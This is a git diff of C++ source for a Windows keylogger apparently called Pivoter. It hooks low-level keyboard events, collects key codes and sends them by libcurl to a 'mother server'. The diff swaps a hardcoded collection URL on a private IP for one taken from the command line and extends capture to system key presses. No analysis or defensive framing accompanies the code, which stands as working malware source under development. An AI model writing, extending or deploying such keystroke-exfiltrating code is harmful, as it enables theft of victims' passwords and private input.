diff --git a/Pivoter.cpp b/Pivoter.cpp index ceca88d..def10f3 100644 --- a/Pivoter.cpp +++ b/Pivoter.cpp @@ -16,7 +16,7 @@ #define KEYS_LIMIT 100 HHOOK keyboard_events_hook; std::vector virt_codes; -ConnectionsPivoter mother_server_pv = ConnectionsPivoter("http://192.168.1.108:443/client-fetch-keys"); +ConnectionsPivoter mother_server_pv = ConnectionsPivoter(); void stack_codes() { if (virt_codes.size() < KEYS_LIMIT) @@ -28,7 +28,7 @@ void stack_codes() { } LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) { - if (wParam == WM_KEYDOWN) { + if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam; DWORD virt_code = kbd_struct->vkCode; @@ -44,8 +44,19 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) { return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam); } -int main() { +int main(int argc, char **argv) { + if (argc != 2) { + std::cout << "Error: wrong use of arguments!" << std::endl; + return 1; + } + + if (DEBUG) + for (int i = 0; i < argc; i++) + std::cout << "Argument " << i << " value: " << argv[i] << std::endl; + + mother_server_pv.set_url(argv[1]); + keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0); STARTUPINFOA startup_info; diff --git a/connections_pivoter.cpp b/connections_pivoter.cpp index 6c38e45..289b31a 100644 --- a/connections_pivoter.cpp +++ b/connections_pivoter.cpp @@ -35,6 +35,11 @@ ConnectionsPivoter::ConnectionsPivoter(std::string url) { this->curl = curl_easy_init(); } +ConnectionsPivoter::ConnectionsPivoter() { + curl_global_init(CURL_GLOBAL_ALL); + this->curl = curl_easy_init(); +} + BOOL ConnectionsPivoter::send_alive_signal() { } diff --git a/connections_pivoter.h b/connections_pivoter.h index 51fd664..a6f0b14 100644 --- a/connections_pivoter.h +++ b/connections_pivoter.h @@ -21,6 +21,13 @@ public: CURL* curl; ConnectionsPivoter(std::string url); + ConnectionsPivoter(); + + /// Update the url value + /// New url value + void set_url(std::string new_url) { + this->url = new_url; + }; /// Send an alive signal to the mother server /// TRUE if successful